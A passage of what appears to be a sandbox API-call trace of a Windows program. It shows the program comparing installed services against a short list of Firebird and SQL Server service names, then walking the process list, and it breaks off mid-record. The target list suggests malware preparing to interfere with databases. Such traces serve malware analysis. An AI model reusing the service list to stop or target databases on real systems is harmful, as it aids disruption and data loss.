[0192.497] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0192.497] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0192.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0192.497] lstrlenW (lpString="DPS") returned 3 [0192.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0192.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0192.497] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0192.497] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0192.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0192.497] lstrlenW (lpString="DusmSvc") returned 7 [0192.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0192.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0192.497] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0192.497] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0192.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0192.497] lstrlenW (lpString="EventLog") returned 8 [0192.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0192.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0192.498] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0192.498] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0192.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0192.498] lstrlenW (lpString="EventSystem") returned 11 [0192.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0192.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0192.498] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0192.498] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0192.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0192.498] lstrlenW (lpString="FontCache") returned 9 [0192.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0192.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0192.498] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0192.498] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0192.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0192.498] lstrlenW (lpString="gpsvc") returned 5 [0192.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0192.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0192.498] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0192.498] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0192.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0192.498] lstrlenW (lpString="iphlpsvc") returned 8 [0192.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0192.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0192.499] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0192.499] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0192.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0192.499] lstrlenW (lpString="KeyIso") returned 6 [0192.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0192.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0192.499] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0192.499] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0192.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0192.499] lstrlenW (lpString="LanmanServer") returned 12 [0192.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0192.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0192.499] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0192.499] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0192.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0192.499] lstrlenW (lpString="LanmanWorkstation") returned 17 [0192.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0192.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0192.499] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0192.499] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0192.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0192.499] lstrlenW (lpString="lfsvc") returned 5 [0192.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0192.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0192.499] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0192.499] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0192.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0192.590] lstrlenW (lpString="lmhosts") returned 7 [0192.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0192.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0192.590] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0192.590] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0192.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0192.590] lstrlenW (lpString="LSM") returned 3 [0192.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0192.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0192.590] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0192.590] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0192.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0192.590] lstrlenW (lpString="MpsSvc") returned 6 [0192.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0192.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0192.590] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0192.590] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0192.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0192.590] lstrlenW (lpString="NcbService") returned 10 [0192.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0192.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0192.591] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0192.591] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0192.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0192.591] lstrlenW (lpString="netprofm") returned 8 [0192.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0192.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0192.591] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0192.591] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0192.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0192.591] lstrlenW (lpString="NgcSvc") returned 6 [0192.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0192.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0192.591] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0192.591] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0192.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0192.591] lstrlenW (lpString="NlaSvc") returned 6 [0192.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0192.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0192.591] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0192.591] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0192.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0192.592] lstrlenW (lpString="nsi") returned 3 [0192.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0192.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0192.592] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0192.592] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0192.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0192.592] lstrlenW (lpString="PcaSvc") returned 6 [0192.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0192.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0192.592] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0192.592] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0192.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0192.592] lstrlenW (lpString="PlugPlay") returned 8 [0192.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0192.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0192.592] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0192.592] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0192.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0192.592] lstrlenW (lpString="Power") returned 5 [0192.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0192.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0192.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0192.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0192.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0192.593] lstrlenW (lpString="ProfSvc") returned 7 [0192.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0192.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0192.593] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0192.593] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0192.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0192.593] lstrlenW (lpString="RpcEptMapper") returned 12 [0192.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0192.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0192.593] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0192.593] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0192.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0192.593] lstrlenW (lpString="RpcSs") returned 5 [0192.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0192.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0192.593] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0192.593] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0192.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0192.594] lstrlenW (lpString="SamSs") returned 5 [0192.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0192.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0192.594] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0192.594] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0192.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0192.594] lstrlenW (lpString="Schedule") returned 8 [0192.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0192.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0192.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0192.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0192.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0192.594] lstrlenW (lpString="SecurityHealthService") returned 21 [0192.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0192.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0192.594] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0192.594] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0192.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0192.595] lstrlenW (lpString="SENS") returned 4 [0192.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0192.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0192.595] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0192.595] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0192.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0192.595] lstrlenW (lpString="ShellHWDetection") returned 16 [0192.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0192.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0192.595] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0192.595] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0192.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0192.595] lstrlenW (lpString="Spooler") returned 7 [0192.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0192.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0192.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0192.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0192.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0192.595] lstrlenW (lpString="StateRepository") returned 15 [0192.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0192.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0192.595] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0192.595] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0192.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0192.596] lstrlenW (lpString="SysMain") returned 7 [0192.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0192.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0192.596] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0192.596] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0192.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0192.596] lstrlenW (lpString="SystemEventsBroker") returned 18 [0192.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0192.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0192.596] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0192.596] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0192.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0192.596] lstrlenW (lpString="Themes") returned 6 [0192.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0192.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0192.596] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0192.596] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0192.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0192.596] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0192.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0192.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0192.596] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0192.597] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0192.597] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4661fb8 | out: hHeap=0x710000) returned 1 [0192.598] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x550 [0192.603] Process32FirstW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.604] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0192.605] lstrlenW (lpString="System") returned 6 [0192.605] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0192.607] lstrlenW (lpString="smss.exe") returned 8 [0192.607] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.630] lstrlenW (lpString="csrss.exe") returned 9 [0192.630] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0192.631] lstrlenW (lpString="wininit.exe") returned 11 [0192.631] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.632] lstrlenW (lpString="csrss.exe") returned 9 [0192.632] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0192.633] lstrlenW (lpString="winlogon.exe") returned 12 [0192.633] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0192.634] lstrlenW (lpString="services.exe") returned 12 [0192.634] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0192.635] lstrlenW (lpString="lsass.exe") returned 9 [0192.635] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0192.636] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0192.637] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0192.638] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0192.638] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.639] lstrlenW (lpString="svchost.exe") returned 11 [0192.639] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.640] lstrlenW (lpString="svchost.exe") returned 11 [0192.640] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0192.641] lstrlenW (lpString="dwm.exe") returned 7 [0192.642] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.643] lstrlenW (lpString="svchost.exe") returned 11 [0192.643] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.644] lstrlenW (lpString="svchost.exe") returned 11 [0192.644] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.645] lstrlenW (lpString="svchost.exe") returned 11 [0192.645] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.646] lstrlenW (lpString="svchost.exe") returned 11 [0192.647] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.789] lstrlenW (lpString="svchost.exe") returned 11 [0192.789] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.790] lstrlenW (lpString="svchost.exe") returned 11 [0192.791] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.792] lstrlenW (lpString="svchost.exe") returned 11 [0192.792] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.793] lstrlenW (lpString="svchost.exe") returned 11 [0192.794] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.795] lstrlenW (lpString="svchost.exe") returned 11 [0192.795] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.796] lstrlenW (lpString="svchost.exe") returned 11 [0192.797] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0192.798] lstrlenW (lpString="spoolsv.exe") returned 11 [0192.798] Process32NextW (in: hSnapshot=0x550, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, 